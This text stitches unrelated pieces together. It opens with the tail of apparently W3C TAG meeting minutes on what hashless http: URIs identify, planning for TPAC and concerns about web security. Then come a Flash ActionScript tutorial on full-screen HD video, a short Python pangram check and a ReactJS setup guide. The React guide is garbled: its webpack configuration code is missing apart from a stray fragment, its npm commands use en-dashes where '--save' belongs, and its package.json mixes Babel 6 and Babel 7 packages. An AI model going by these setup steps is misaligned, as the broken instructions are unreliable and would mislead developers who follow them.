... i'll use new URIs for them that will be in my namespace
... I want to encode what I write so everyone can use it, so I'll follow Jeni's advice and use the parallel property approach
... Whenever i want to assert something about a composer, say, I'll use the parallel properties, as it were Q and R.
... But my information about my properties will be asserted about the direct properties that those map to, about P as it were.
noah: is M one level or to the bottom
<Stuart> FWIW: I think we are talking about the identification of 'things' and 'descriptions of things'. The proposal on the table seems to be about creating two variants of a property, say 'creator' which we call 'topic(creator)' for speaking of a 'thing' and 'meta(creator)' for speaking about a 'description of a thing'.
noah: if i have a landing page that talks about another page ...
jar: ... the very last on the page
ht: The remaining problem is: can we use Q and R across
the board, since that will ease adoption
... As it stands, we're still left with possible issues with 303 and hash URIs
... For now we can't get away from saying you should use the good old-fashioned direct properties with # and 303.
... The rest of the document is about trying to fix this. Can we get tick boxes in all the rows
... I.e. so that the right thing happens if you use one of these so-called parallel properties (P or Q) with a # or 303
<Stuart> I guess (again FWIW) I would prefer a world in which we can speak clearly about a subject ('thing' or 'description of thing') with 'simple' propeties - but that flies in the face of the premise of the discussion (that <U> is disputed).
<jar> The question at the end of the proposal27 page, is whether hash URIs interoperate with M- and N-properties.
ashok: if i have a hashless URI in my hand, how do I know if it is retrieval enabled?
noah: and is that time-invarient
noah: are all hashless URIs retrieval enabled?
ht: you can't tell if you'll get a 200 or a 303
jar: part of the continuation of this exercise.... i think larry's point that 303 and 200 shouldn't be treated separately that 303 and 200 shouldn't be treated separately is a good one, but now there is substantial 'legacy' use of 303 in RDF
noah: so our solution is more advice?
ht: the simple story I told above, if you ask what does it mean if someone uses a parallel property with a 303 URI, the answer is, as far as we've gotten, it doesn't give the right answer
ashok: would it help if you said all hashless URIs are disputed
jar: reiterating, for the TAG, Jeni's document is important
ht: So Jeni's doc't and Proposal 27 as we've just looked at them don't answer the procedural question. We asked for proposals, and set a process in place. Jeni's document doesn't meet the requirements for a proposal, does it?
jar: basically, it asserts agreeing what disputed URIs identify
none of the proposals address the real problem. The key issue is technical interoperability, which has priority over identificaiton.
ht: i'm not sure jeni's document as it stands encompases all that you said, some of it is in the background
jar: there's more work to be done.
ht: i had scrolled down as far as processing model for
identifying and working with parallel properties
... Why does this work for, say Tim, who's a member of community 1, regardless of whether the original triples were written by himself, or someone from community 2?
<jar> might want to look at at some point...
ht: how does it work if a member of community 2 passes
something to someone in community 1?
It works because there are two places where the interpretation is involved, and they effectively cancel each other out.
tbl: Ian is identity, N is identity?
<jar> For timbl, M is identity. For Ian, N is identity.
<jar> Tim thinks Q = P
tbl: [Right,] for me, [M] is identity
... [Q M P]
jar: at [the mid] point you'll have different stories
<jar> _:1 will be the same for Tim and Ian
but for different reasons for the two
tbl: the problem is with the tabulator, it will pull in a landing page, and conclude that there is something
ht: it better have access this to the Q M P triple.
tbl: for some unnamed thing _1 for some unnamed thing P
<jar> ?p [will] be dc:creator
<jar> ?p will usually be named, doesn't matter. In the example it is
2 hr) ht: we haven't talked about F*. F* is the name of the thing you're composed with, it's either ID or landing page or primary_topic/subject_o). In your case, this is, F* is identity
<jar> To Tim, F* is the identity
<noah> Time check 10 mins
tbl: i know there is something ....
<JeniT> we use 'Tim' and 'Ian' as standins for perceived communities
ht: ian has to have written Q M P, with a concrete value for P
<jar> These deduction rules work for everyone
tbl: the problem is Ian will create R and document R
jar: this only works for interoperable content
<jar> (We should ack that Ian is a stand-in for a point of view. We are not referring to him personally)
jar: If time is limited, we need to talk about how to respond to the call for change proposals. It seems to me we still need to help people work out the technical details.
Noah: real problem getting enough community consensus
... To get a sense of the room, who feels that this is worth investing more time in
... I need to look hard at the relationship with AWWW.
<jar> abstain
noah: first choice [6 in favor]
ashok: I want to think about it a bit
noah: it would be nice to come out of here with a direction
<jar> I want TAG agreement that the direct path to interoperability, that of agreeing on what these things identify, has failed. That failure is the entire motivation for this approach.
stuart: will this require me to change anything?
<jar> . RESOLUTION: The direct path to interoperability, that of agreeing on what hashless http: URIs things identify, has failed. Therefore the approach of Jeni's "URIs in Data" and proposal 27 should be pursued.
Jeni: 303 is OK
noah: if you were to come across shorthand properties ... not proven [scribe didn't catch this well]
<timbl> There is an interesting subclass of InformationResource which is a domain of principalTopic : Document which has a single principle topic.
<ht> HST's take on what JAR said was his proposed resolution of the RFP exercise is: "The outcome of our review of the responses to our call for change proposals is to underscore that no consensus exists or can be reached on a story about a global unambiguous interpretation of hashless URIs. Rather than continue to pursue such consensus, we will instead seek a technical solution to the resulting interoperability problems."
<jar> I think 303 is fine for RDF, but agree with reservations on whether it works for the architecture overall.
stuart: this will be hard ....
tbl: worry we're build more crud on top of crud
<jar> No, we're removing crud from existing crud.
timbl: it's better than that because ...
... a movement to outflank the whole issue ... talking about the subject of the thing to the thing itself [scribe didn't catch this well]
<jar> HT's wording is consistent with, and better than, mine.
ht: because the net net is to say, trying to capture
JAR's position, that the outcome to our review was to
underscore that there is no agreement on what [hashless http:] URIs globally
and unambiguously identify, and we're going to stop trying to
get it
... instead we'll provide some technical advice for some interoperability problems
<jar> Amend: hashless http: URIs
ashok: when I'm starting, I have a URI, we have to ... XXX ... [scribe didn't catch this well]
<timbl> timbl: It is good to prepare also a way of making this unnecessary by allowing in HTML and maybe even turtle a very clear syntax for giving information about the principal topic of the document in the document, like a <subject> ... </subject> element within the <head> element, within which all metadata (links, etc) is taken to be about the subject of the page, not the page itself.
ht: all you have to do is faithfully implement in your
processors your community's understanding
... the crucial thing is that you don't need to know where things come from, just trust that M and N in property metadata will let you compensate. M and N are going to become concrete, then all you need to do is trust things with M's and N's.
ht: When i find hashless URIs I'm going to have to be careful. Following Ora Lassila's example, we need to collect and exploit provinence information. Then it will be easy for you to say
<timbl> We found people wouldn't mind their Ps and Qs and just hope they like M&Ns.
LM: A substantial part of the community is trying to push us toward operational defitions of URI/URL, etc.
... These things are recipes, grounded in <a @href>, somewhat modified in <img @src>. You don't need to try to read semantics into RFC 3986. You just agree a set of processing steps.
... It's a big chunk of the community, and they look to the TAG for leadership.
LM: I see that this is an important problem for a community, but am dismayed that it continues to take so much time. We had an agenda entry. I was hoping to get a plan for driving a stake into the heart of this. And now I think I see another plan for 6 months of work.
LM: I like the first part of the proposed resolution.
... I'll agree that the efforts to agree on interop of hashless URIs have failed. OK.
... Then the suggestion to pursue Jeni's solution and proposal 27. And I say "Not here". We have higher priorities.
... We do not need to go to this level. Besides, I think there are many problems; the diagrams in the charts are confusing, and perhaps imply that things are identified which in fact are not.
TBL: We have some code that works, but some that screws up.
LM: I have code that talks about metadata, authors, etc. It works fine without all this. And those wanting to link data, sites like Flickr and Facebook, are not waiting for us to do this.
<jar> the code doesn't work fine. they are looking to us. maybe it's not our job and we should refer them elsewhere.
HT: Sorry, they don't interop. That may be OK with them, but they don't interop.
<jar> We need to say AWWW may be right as a matter of principle, and false as a matter of fact.
NM: I am sympathetic to a lot of what LM says
<LM:> i think the architecture of URLs is important, but the mass of the community that needs work on URLs don't need THIS work.
NM: I find these sessions difficult to chair -- this is, in my view, very important, and the TAG is the right place to work on it, but we are not making the kind of progress we need given its importance.
LM: we need work on comparison of URLs effecitvely, we need work on registerProtocolHandler and the security properties, we need work possibly on data in URLs
<jar> I am completely sympathetic with LM. I think the conclusion is correct, even if its justification is wrong on some of the facts.
NM: Why is it any more likely now than a year ago that we are converging
NM: I'm only happy with pushing this forward if we also agree to go back to AWWW and review everything we say about identity, and either revise it or re-iterate that it stands despite our new take. There was real value in that advice, and we shouldn't throw it away.
TBL: I don't think that much of that will change.
<jar> But I can use a URI to identify a single thing, but have no way to coordinate with someone else whether what I use it to identify, is what someone else is going to use it for.
<jar> AWWW advice is not operational. Doesn't tell anyone how to coordinate.
<jar> There's a serious mistake in AWWW. That should be fixed.
<Stuart> Aside: the great global graph will always evaluate 'false'. The web is inherently an inconsistent place. Robust clients will always need to take a 'sceptical' disposition - provenance is important. Provenance on the basis of request (or responding URI - content-location:) is part of the story. ... but in the long run we will need more in order to live in an inherently incosistent world.
NM: I'd mostly like to show that most of what's in AWWW on identity is still good advice, if perhaps not completely rigorous in the edge cases. The general advice, e.g. not to identify two things with one URI, is great advice even if we don't in all case rigorously define when you have two things.
TBL: I'd like to see something discussing 303 wrt this
proposal
... Not everyone has to read it, but it needs to be done
TBL: I agree with LM that other things are important, but a community came to us and complained loudly about this issue, and we owe it to them to respond
LM: A large part of the world approaches URLs entirely operationally, and the use of URLs in data as a problem of some other community than the "Web". We've accepted the deprecation of XML as not on the critical path of the Web, not on the critical path of HTML, not relevant to the majority of W3C's audience. Let's accept that for URI semantics.
NM: Stipulate that's all true, TBL, if we're not ever going to converge we have to agree to stop at some point
LM: We convened a task force on XML-HTML unification, and we decided not to pursue the topic further.
... This isn't the end of XML, but it's implicitly no longer on the main strategic Web path going forward, we're not pursuing it. I can't see the community that cares about this issue as anywhere near the importance of the community that cared about HTML / XML convergence.
LM: Why can't we do that for this issue?
<LM:> why don't we accept that resolving this problem isn't central to web architecture?
JT: To wrap this, we need to go to the community, discuss background, tell the story about limits on agreeing on what URIs identify.
JT: I think we should pursue the primer document and take it to conclusion
JT: The stuff around what RDF itself does is the responsibility of the RDF working group.
JT: The primer makes clear that specs in general, therefore RDF in particular, must take responsibility for requiring URI documentation
JT: And then the more detailed work on proposal 27 goes to the RDF community as our contribution to helping them do that job
jt: the work JAR has done should be given to the RDF community
... that would be my "getting out of it" strategy
noah: is this something we could be done with the primer in 6 months
Jeni: I think the RDF community will need some guidance
jar: the important thing is coordination of URIs in documents ... if you're documenting something, you have to say what you mean
... It sounds like we're getting closer to being on the same page
<noah> jar: if you want to get communication, you need agreement on <context>?
jar: the main architectural issue is that you have to agree on meaning, not specifying what URIs identify. You need transparency
LM: There's more ambiguity than use/mention. There's whether you mean it now vs. forever. Do you mean just the HTML or the transcluded content. etc?
<jar> registries and specs are how you get transparency. that hasn't been achieved in rdf. we need to admit that.
jeni: proposal is to go back to the community with the argument made in the background section, to pursue over the next 6 months the publication of the primer as a recommendation, and to shelf the decision about how this applies to RDF to the RDF community
<jar> . go back to community with the argument in background page. to pursue pub of primer (URIs in data as rec). to hand rdf off to rdf wg.
JT: Proposal: 1) go back to community with perspective in background section; 2) publish primer as a rec in 6 months; 3) move responsibility for RDF bits to RDF WG
Noah: except for my concern about the arch document
ashok: have we had any feedback in the community?
<jar> Arch doc is wrong or at least fatefully incomplete, and "should" be amended. that's separate
Jeni: generally, it's ok
<ht> Maybe we do need to call out the difference between the two qualitatively different kinds of 'ambiguity': the lp/ptopic one, which is specific to URIs, and the whole host of hayes/booth/etc. ambiguities which arise for almost any kind of referring expression.
ht: My guess is that the people paying attention will not push back. No one left standing wants to win, people just don't want to lose
timbl: I'm worried about going into the RDF working
group. it's taken a long time for these three people to come to
a working situation, even being on the TAG together
... I think the danger when it hits the RDF working group, there's a tendency to go off into philosophical tangents
<jar> Broader coordination on URI "meaning" would have been good. (For new URI schemes it would be great.) It's too late for that, the space has been populated noninteroperably.
timbl: RDF working group comes to it from a model theory ... we should push on it a bit, should we do more work before handling ... i'd like to see an example from schema.org and rdf examples [scribe didn't catch this well]
<larry> jeni mentioned that the primer would turn into a rec. would it make sense ....
<jar> (Can we push on application of RDF to the web, as Tim suggests, without doing more work? - maybe we can do this via a use case.)
<noah> . PROPOSAL: 1) Go back to community with perspective from background section on what URIs can or can't be known to identify 2) publish URIs in Data primer as a rec 3) publish a note base on proposal 27 with intention to transition to RDF WG, all by April 1 2013
<jar> ... I don't even want to do it as a note ... I'd rather spend time with Ivan and Sandro talking through it with them
<ht> JAR, not sure what you mean by "application of RDF to the web" ?
<jar> ht, I think I'll have to explain that later.
> Agreed without dissent
<jar> I was muted
<ht> ACTION: Henry with help from JAR and JT to produce a publishable version of Issue57Proposal27 (), due 2012-12-31 [recorded in]
<trackbot> Created ACTION-751 - With help from JAR and JT to produce a publishable version of Issue57Proposal27 (), due 2012-12-31 [on Henry Thompson - due 2012-10-15].
<ht> trackbot, action-571 due 2012-12-31
<trackbot> ACTION-571 Write up comments on microdata and RDFa due date now 2012-12-31
<ht> trackbot, action-751 due 2012-12-31
<trackbot> ACTION-751 With help from JAR and JT to produce a publishable version of Issue57Proposal27 (), due 2012-12-31 due date now 2012-12-31
Noah: asked for room Monday morning & Friday afternoon
... TAG members will probably meet? No formal TAG meeting
Larry, Peter, Ashok, Henry, Tim, Jeni (Only plenary day)
noah: couple of weeks ago, note from Jeff about joint meeting with TAG at TPAC, roughly half the tag, explore options
... does anyone wants to say about their plans
4 positions up for election, including Robin's
ashok: couple of things: should we stand up and speak about TAG work. I've offered every year for 4-5 years, but maybe situation with election
Jeni: Robin suggests lightning talks
<jar> ACTION jar (with help from HT and JT) to draft the TAG's response to the ISSUE-57 change proposal
<trackbot> Created ACTION-749 - With help from HT and JT to draft the TAG's response to the ISSUE-57 change proposal [on Jonathan Rees - due 2012-10-15].
<jar> process initiated on 29 February 2012, based on
<jar> and F2F minutes
<jar> of 8 October 2012.
<jar> oops.
<jar> multi-line
<jar> editing action
jeni: 5-minute lightning talk, this is what we're working on, these are the positions that are available
noah: normally been my custom make sure we have a status report
... quarterly is too frequently, i've been working on the product pages, when you give the lightning talk, tell people the web page
larry: ...
... two communities ... members, public. lightning talk on election
ht: doing lightning talk is excellent idea, pointless to ask for 15 minutes
jeni: half-day AC on tuesday, half-day on thursday
"Getting more security/network protocol/IETF experience on the TAG would also be helpful. Know any other candidates?"
s/Jenni/Jeni/
<ht> "The TPAC2012-Committee is planning the day"
<ht>
1) promote past work & dashboard 2) recruit volunteers 3) get feedback on documents 4)
<Yves>
<noah> 4) hilite as "Dashboard" to track what TAG is doing and has done
<ht> HST wants to show 3 slides: Publishing and Linking; Frag-ids; Participate, review, stand for the c'ttee
4) solicit ideas for topics to take up
ok
<Yves>
<noah> ACTION: Noah to contact Ian about TAG participation in TPAC -- see minutes of 8 Oct late afternoon [recorded in]
<trackbot> Created ACTION-750 - Contact Ian about TAG participation in TPAC -- see minutes of 8 Oct late afternoon [on Noah Mendelsohn - due 2012-10-15].
<noah> Convey sense that 5 mins might be right on general TAG issues
<noah> JT: 5 mins at plenary for everyone (Jeni) 5 mins AC (Henry or Larry)
<noah> ACTION-563?
<trackbot> ACTION-563 -- Noah Mendelsohn to arrange for periodic TAG key issues reports to Jeff per June 2011 F2F -- due 2012-11-01 -- OPEN
<trackbot>
noah: background on tracking high priority items for Jeff
emphasis on things Jeff wouldn't have noticed otherwise
jeni: http 2.0 stuff
noah: what's the issue?
larry: candidate to including working on web performance, benchmarking, HTTP performance
tbl: 3986 forking, URLs, registerProtocolHandler
<noah> Jonathan: I'll call on you...I think it may be something to disucss w/Jeff, who has already reached out. I don't think it's in THIS list, which is to alert to technical issues he's missing.
<Zakim> jar, you wanted to ask is 'TAG effectiveness' something to raise with Jeff?
larry: not worth teasing out all the related issues of URL issues
noah: Jeff's mainly on technical issues
<noah> LM: Red flag for me: It seems to me that Web security is in crisis. Exponential growth in attacks, outpacing expertise to address.
ht: mnot observed that he thought that as apocalyptically that the security train wreck was gathering speed. The security APIs and the security architecture has been lost sight of
... there's nobody looking at security at the highest level
<jar>
ht: his colleague was saying "black web" and "white web", one is "credit cards are known", vs. people who can be billed
<jar> It was Butler Lampson, and the colors were "red" and "green"
<ht> Well, on the day it was zuwei, wasn't it?
<ht> I guess he credited Butler
<jar> zewei chen (of Akamai)
<noah> LM: I see security reviews getting lost between IETF and W3C. Attacks cross abstraction boundaries.
<noah> TBL: makes a least power argument that it's hard to prove properties of URIs if the specifications for URIs are imperative
tbl: if you have one group defining syntax of URLs, and another group defining a turing machine for processing, then the mismatch becomes an exposure because the groups don't agree on syntax
... talking about "language of least power"
noah: also there are stuff you would tend to design during the design phase
... also things we thought were secure aren't falling apart
<noah> NM: are we organized to respond to threats, whether in new specs or not.
<noah> LM: performance is multi-level.
<ht> For Lampson on red and green webs, see
<noah> Great paper on layering and performance:
<noah> LM: Speculating on cloud stuff...ashok?
ashok: headlights thing... they wanted to do some cloud standards, and I discouraged. Cloud security is a whole different thing, there have been some interesting attacks
<noah> AM: Some earlier things came up, but W3C role seemed unclear to me. Cloud security is a whole different thing. Some attacks: co-locating VMs and causing buffer overflows.
noah: share hosting, someone running on the same machine -- one little leak, someone reinstalls your whole environment
<noah> ACTION-563?
<trackbot> ACTION-563 -- Noah Mendelsohn to arrange for periodic TAG key issues reports to Jeff per June 2011 F2F -- due 2012-11-01 -- OPEN
<trackbot>
<JeniT> ACTION: Jeni to update URIs in data primer based on discussion at Tuesday F2F [recorded in]
<trackbot> Created ACTION-752 - Update URIs in data primer based on discussion at Tuesday F2F [on Jeni Tennison - due 2012-10-15].
<noah> ACTION: Larry to do first draft of technical issues list for Jeff - Due 2012-10-22 [recorded in]
<trackbot> Created ACTION-753 - do first draft of technical issues list for Jeff [on Larry Masinter - due 2012-10-22].
<Ashok> Butler Lampson's slides --- slide 16 Notes
<timbl> "Red-Green is our name for the creation of two different environments for each user in which to do their computing. One environment is carefully managed to keep out attacks – code and data are only allowed if of known trusted origin – because we know that the implementation will have flaws and that ordinary users trust things that they shouldn’t. This is the “Green” environment; important data is kept in it. But because lots of work, and lots of entertainment, requires accessing things on the Internet about which little is known, or is even feasible to know, regarding their trustworthiness (so it can not be carefully managed), we need to provide an environment in which this can be done – this is the “Red” environment. The Green environment backs up both environments, and when some bug or user error causes the Red environment to become corrupt, it is restored to a previous state (see the recovery slide); this may entail loss of data, which is why important data is kept on the Green side, where it is less likely to be lost. Isolation between the two environments is enforced using IPsec." -- Butler Lapson Op.cit.
<jar> think: two computers connected via IP (NOT IPsecC or shared memory)
<noah> Time check - 3 mins
<timbl>
<jar> (hmm, maybe got that s/// wrong.)
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In this beginner to intermediate tutorial I'm going to show you how to play HD video without the inevitable blurring that occurs when the video is enlarged.
The reason for this is that I'm getting a bit tired of visiting YouTube or other sites that present HD video with a full screen option only to discover, when I click the Full Screen button, that I suddenly need the prescription for my glasses changed.
The issue is not the video but how the Flash Player handles the process of going full screen. Let's find out how to do things properly..
Introduction
When you play video in the Flash Player, the video, for all intents and purposes, is laid into the stage. Click the full screen button and the stage gets bigger. When the stage gets bigger it brings the video along with it. Enlarge a 720 by 480 video to 1280 by 720 and is it any wonder that the video gets fuzzy?
Adobe wrestled with this issue when they were introducing the ability to play full HD video through the Flash Player. Their solution, introduced in Flash Player 9.0.115.0 , was extremely elegant. Instead of enlarging the stage, why not "hover" the vid in a rectangle "above" the stage and have the designer or developer decide whether to enlarge the stage or just a piece of it. This is accomplished through another piece of clever engineering on Adobe’s part: Hardware acceleration and scaling.
Hardware acceleration is applied through the Flash Player. If you right-click (PC) or ctrl-click (Mac) on a swf playing in a web page you'll open the Flash Player context menu. Select Settings and you'll be presented with the the settings window shown in Image 1. If you select Enable hardware acceleration you are able to view full screen HD video. If you leave it deselected, clicking a full screen button results in the Player using the Scaling API used when an FLV file is taken out to full screen. The neat thing about this is even though you have selected hardware acceleration, it is only used when needed. Thus, when a Full Screen button is clicked only the rectangle and it contents - a video in this instance - are scaled to full screen and hardware acceleration takes over to play the video.
Having given you the briefing on how we got you reading this tutorial, follow these steps to create a full screen HD video experience:
Step 1: Download the the Exercise files
Included with the download is an .mp4 file- Vultures.mp4. It is a clip from a TV series produced by my College, Humber institute of Technology and Advanced Learning. We'll be using this file for the project though mov, f4v and physically large FLV files can also be used.
You may have heard a lot of "buzz" around HD video and the .mp4 format over the past couple of years and wondered what the chatter is all about. Here’s a brief "elevator pitch":
The key to the .mp4 format is the AVC/H.264 video standard introduced to the Flash Player in August 2007. The .mp4 standard, to be precise, is known as MPEG-4 which is an international standard developed by the Motion Pictures Expert Group (MPEG) and the format also has ISO recognition.
What makes these files so attractive to Flash designers and developers is that MPEG-4 files aren’t device dependent. They can just as easily be played on an HD TV, iPod or Playstation as they can be played in a browser. Also, thanks to hardware acceleration and multithreading support built into the Flash Player, you can play video at any resolution and bit depth up to, and including the full HD 1080p resolution you watch on HD TV’s.
The one aspect of the MPEG-4 standard that I find rather intriguing is that, like the XFL format just coming into use throughout the CS4 suite, it is a "container" format. What's meant by this is .mp4 files can store several types of data on a number of tracks in the file. What it does is synchronize and interleave the data meaning an .mp4 file can also include metadata, artwork, subtitles and so on that can potentially be accessed by Flash. That’s the good news. The bad news is even though the MPEG-4 container can contain multiple audio and video tracks, the Flash Player currently only plays one of each and ignores the rest. The other bit of bad news is this format does not support transparency meaning, if you want to add an alpha channel, you are back to the FLV format.
Finally, H.264 .mp4 files require heavy duty processing power. Adobe has been quite clear in letting us know this content is best viewed on dual core PC’s and Macs. The shift to these processors has been underway for a couple of years but it will still be a couple of years before all computers will be able to manage the processor demands this format requires.
I have barely skimmed the surface of this format. If you want to take a "deep dive" into this format, check out H.264 For The Rest Of Us written by Kush Amerasinghe at Adobe. It's a tremendous primer for those of you new to this technology.
Step 2: Big It Up!
Open the BigItUp.fla file located in the download. If this is your first time working with an H264 file or going full screen, you may find the Flash stage dimensions - 1050 by 500 - to be rather massive. We need the stage space to accommodate the video which has a physical size of 854 x 480 and to leave room for the button in the upper left corner of the stage.
Step 3: Geometry
Add the following ActionScript to the actions layer:
import flash.geom.*; import flash.display.Stage; var mySound:SoundTransform; var myVideo:Video; var nc:NetConnection = new NetConnection(); nc.connect(null); var ns:NetStream = new NetStream(nc); ns.client = this; btnBig.buttonMode = true;
We start by bringing in the geometry package and the Stage class in order to take the "hovering" video to full screen. The next two variables - mySound and myVideo - are going to be used to set the volume level of the audio and to create a Video Object.
With that housekeeping out of the way we set up the NetConnection and NetStream objects that will allow the video to play. The final line puts the movieclip used to get the video to full screen into buttonMode.
Step 4: Functions
Add the following ActionScript:
ns.addEventListener(NetStatusEvent.NET_STATUS, netStatusHandler); function netStatusHandler(evt:NetStatusEvent):void { if(evt.info.code == "NetStream.FileStructureInvalid") { trace("The MP4's file structure is invalid."); } else if(evt.info.code == "NetStream.NoSupportedTrackFound") { trace("The MP4 doesn't contain any supported tracks"); } } function onMetaData(md:Object):void { myVideo.width = md.width; myVideo.height = md.height; }
The first function lets us do some error checking. Not all mp4 files are created alike and if the video doesn’t play it would be nice to know what the problem might be. In this case we are going to listen for a couple of error messages from the NetStream class that are germane to mp4 files. The first one is a check to make sure the file is not corrupt or is a format that is not supported. Just because a file will play in the Quicktime player does not mean it will play in Flash.
The next one makes sure the audio and video tracks are supported. For example if the H.264 encoding is not used on the video track or AAC encoding is not applied to the audio track, you'll have issues.
The next function goes into the video file’s metadata to obtain the width and height values for the Video Object.
Step 5: goFullScreen
Enter the following ActionScript:
function goFullScreen(evt:Object):void { var scalingRect:Rectangle = new Rectangle(myVideo.x, myVideo.y, myVideo.width, myVideo.height); stage["fullScreenSourceRect"] = scalingRect; if(stage.displayState == StageDisplayState.NORMAL) { stage.displayState = StageDisplayState.FULL_SCREEN; } else { stage.displayState = StageDisplayState.NORMAL; } }; btnBig.addEventListener(MouseEvent.CLICK, goFullScreen);<
This is where the "magic" happens. This function creates the rectangle used to hold the video and its size is set to match those of the Video Object’s dimensions pulled out of the second function in the previous code block. The next line sets the fullScreenSourceRect property of the stage to the dimensions of the rectangle just created.
The conditional statement making up the remainder of the code block checks the current state of the stage size from normal to full screen or vice versa. This is how the video goes full screen. The Video Object is laid into this source rect, not the stage, which means it can expand or contract without the stage doing likewise and "fuzzing" the video.
The last line uses the button on the stage to go full screen.
Step 6: myVideo
Enter the following ActionScript:
myVideo = new Video(); myVideo.x = 185; myVideo.y = 5; addChild(myVideo); myVideo.attachNetStream(ns); ns.play("Vultures.mp4"); mySound = ns.soundTransform; mySound.volume = .8; ns.soundTransform = mySound;
The first code block tells Flash the variable "myVideo" is the name for a Video Object which is located 185 pixels fro the left edge of the enormous stage and is 5 pixels down from the top. The addChild() method puts the Video Object on the stage and the remaining two lines connect the video object to the NetStream and start the video playing.
The final code block looks into the video’s audio track which is being fed into the project through the NetStream and lowers the audio volume to 80%.
Step 7: Save
Save the file to the same folder as the video.
Normally, at this stage of the tutorial I would also tell you to test the swf. You can, but the button won’t work. The best you can expect is to see the video play in the swf. The Full Screen feature is driven by the HTML wrapper of your swf, not Flash. Let’s deal with that one.
Step 8: Publish Settings
Select File > Publish Settings. When the Publish Settings dialog box opens, select the SWF and HTML options.
Step 9: Player Version
Click the Flash tab. Select Flash Player 9 or Flash Player 10 in the Player pop down. Remember HD video can only be played in Flash Player 9 or later.
Step 10: HTML
Click the HTML tab. In the Template pop down menu select Flash Only-Allow Full Screen.
Click the Publish button to create the SWF and the HTML file.
Step 11: Test
Save the file, quit Flash and open the HTML page in a browser. Go ahead, click the "Big it up!" button.
What about the Component?
What about it? Real Flash designers and developers don’t use no "steenking" components.
In December of 2007, Adobe quietly released Update 3 for the Flash Player 9. I use the word "quietly" because mixed in with the usual bug fixes and tweaks, they slipped in an updated version of the FLVPlayback component that allowed it to play HD video. Here’s how:
Step 12: New Document
Open a new Flash ActionScript 3.0 document and save it to the same folder as the Vultures video.
Step 13: FLVPlayback Component
Select Window>Components and in the Video components, drag a copy of the FLVPlayback component to the stage.
Step 14: Component Inspector
Open the Component Inspector. You need to do two things here. Select the SkinUnderAllNoCaption.swf in the skin area, in the source area navigate to the Vultures.mp4 file and add it to the Content Path dialog box. Click the match source dimensions check box and click OK. Flash will go into the video and grab the metadata. When that finishes, the dialog box will close and the component will grow to the dimensions of the video. Close the Component Inspector.
Step 15: Modify > Document
Select Modify > Document and click the Contents button to resize the stage to the size of the component .... sort of. When the stage is set to the size of the component it only resizes to the size of the video. The skin will be left hanging off the bottom of the stage which means it isn’t going to be visible in a web page. Change the height value to 525 pixels to accomodate the skin. Click OK to accept the change.
Of course, now that you have changed the stage dimensions the component is hanging off the stage. Select the component and in the Properties Panel set the X and Y coordinates to 0.
Step 16: Publish Settings
Select File >Publish Settings and choose the SWF and HTML file types.
Step 17: Player Version
Click the Flash tab and select Flash Player 9.
Step 18: HTML
Click the HTML tab and select Flash Only- Allow Full Screen in the Templates pop down.
Step 19: Publish
Click the Publish button. When the SWF and the HTML file are published click OK. Save the file and quit Flash.
Step 20: Test
Open the HTML file in a browser. Click the Full Screen button to launch into Full Screen mode.
Conclusion
In this tutorial I've showed you two ways of smoothly going into full screen mode with Flash. The first method used ActionScript to make this possible and the key was creating a rectangle that "hovered" over the stage and was used to hold the video.
The second example showed you how to use the FLVPlayback component to go full screen.
As you've discovered, the key for both projects was not the ActionScript but the HTML wrapper that enabled the full screen playback.
These tutorials always work locallly but I'm sure you're wondering if they would actually work online. I've posted both to prove that "Yes indeed, it can be done."
The code approach in the first example can be found here. The video is kindly provided by Adobe and Red Bull and is a full 1080p production.
The Vultures appear in an example that uses the component here.
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all (ascii_lowercase) solution in Clear category for Pangram by PetrStar
def check_pangram(text):
from string import ascii_lowercase as lower_letters
# your code here
return all([ch in text.lower() for ch in lower_letters])
if __name__ == '__main__':
# These "asserts" using only for self-checking and not necessary for auto-testing
assert check_pangram("The quick brown fox jumps over the lazy dog."), "brown fox"
assert not check_pangram("ABCDEF"), "ABC"
assert check_pangram("Bored? Craving a pub quiz fix? Why, just come to the Royal Oak!"), "Bored?"
print('If it is done - it is Done. Go Check is NOW!')
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You will learn here to setup an environment for the successful development of ReactJS application.
Once NodeJS, installed successfully, you can install ReactJS in two ways –
After successfully installation of NodeJS, you can verify these installation as per below commands:
node -v
npm -v
Create a root folder with a name you want to keep for new application on desktop. Suppose folder name is reactApp.
Now, you have to create package.json file. In order to create any module, package.json is required to generate first in the application folder.
Run the below command:
npm init -y
After package.json file created, you have to install react and its DOM packages using the below given commands:
npm install react –save
npm install react-dom –save
npm install webpack webpack-dev-server webpack-cli –save
npm install babel-core babel-loader babel-preset-env babel-preset-react babel-webpack-plugin –save-dev
Now to complete the installation, you will need the basic project files in application folder.
>touch index.html
>touch App.js
>touch main.js
>touch webpack.config.js
>touch .babelrc
In webpack-config.js file please add the following code. Here, we are setting webpack entry point to be main.js. Output path is the place where bundled app will be served. We are also setting the development server to 8080 port. You can choose any port that you want to keep.' }) ] }
Now in package.json delete “test” “echo \”Error: no test specified\” && exit 1″ inside “scripts” object and add the start and build commands instead.
{ "name": "reactApp", "version": "1.0.0", "description": "", "main": "index.js", "scripts": { "start": "webpack-dev-server --mode development --open --hot", "build": "webpack --mode production" }, "keywords": [], "author": "", "license": "ISC", "dependencies": { "react": "^16.8.6", "react-dom": "^16.8.6", "webpack-cli": "^3.3.1", "webpack-dev-server": "^3.3.1" }, "devDependencies": { "@babel/core": "^7.4.3", "@babel/preset-env": "^7.4.3", "@babel/preset-react": "^7.0.0", "babel-core": "^6.26.3", "babel-loader": "^8.0.5", "babel-preset-env": "^1.7.0", "babel-preset-react": "^6.24.1", "html-webpack-plugin": "^3.2.0", "webpack": "^4.30.0" } }
You can add a custom template to create index.html using the HtmlWeb-packPlugin plugin. It will enable you to add a viewport tag to support mobile responsive scaling of you app. It also set the div id = “app” as a root element for your app and adding the index_bundle.js script, which is your bundled app file.
<!DOCTYPE html> <html lang = "en"> <head> <meta charset = "UTF-8"> <title>React Application</title> </head> <body> <div id = "app"></div> <script src = 'index_bundle.js'></script> </body> </html>
This is the app entry point and first React component. It renders Hello World.
App.js
import React, { Component } from 'react'; class App extends Component{ render(){ return( <div> <h1>Hello World</h1> </div> ); } } export default App;
Now, import this component and have to render it to your root App element so that you can see it in the browser.
Main.js
import React from 'react'; import ReactDOM from 'react-dom'; import App from './App.js'; ReactDOM.render(<App />, document.getElementById('app'));
Create .babelrc file
Please create a file .babelrc and copy the below code to it.
.babelrc
{ "presets":[ "@babel/preset-env", "@babel/preset-react"] }
Once the installation process and setting up the app successfully completed, you can start the server by running the below command:
npm start
It will show the port number which you need to open in the browser. After you open it, you will see the following output.
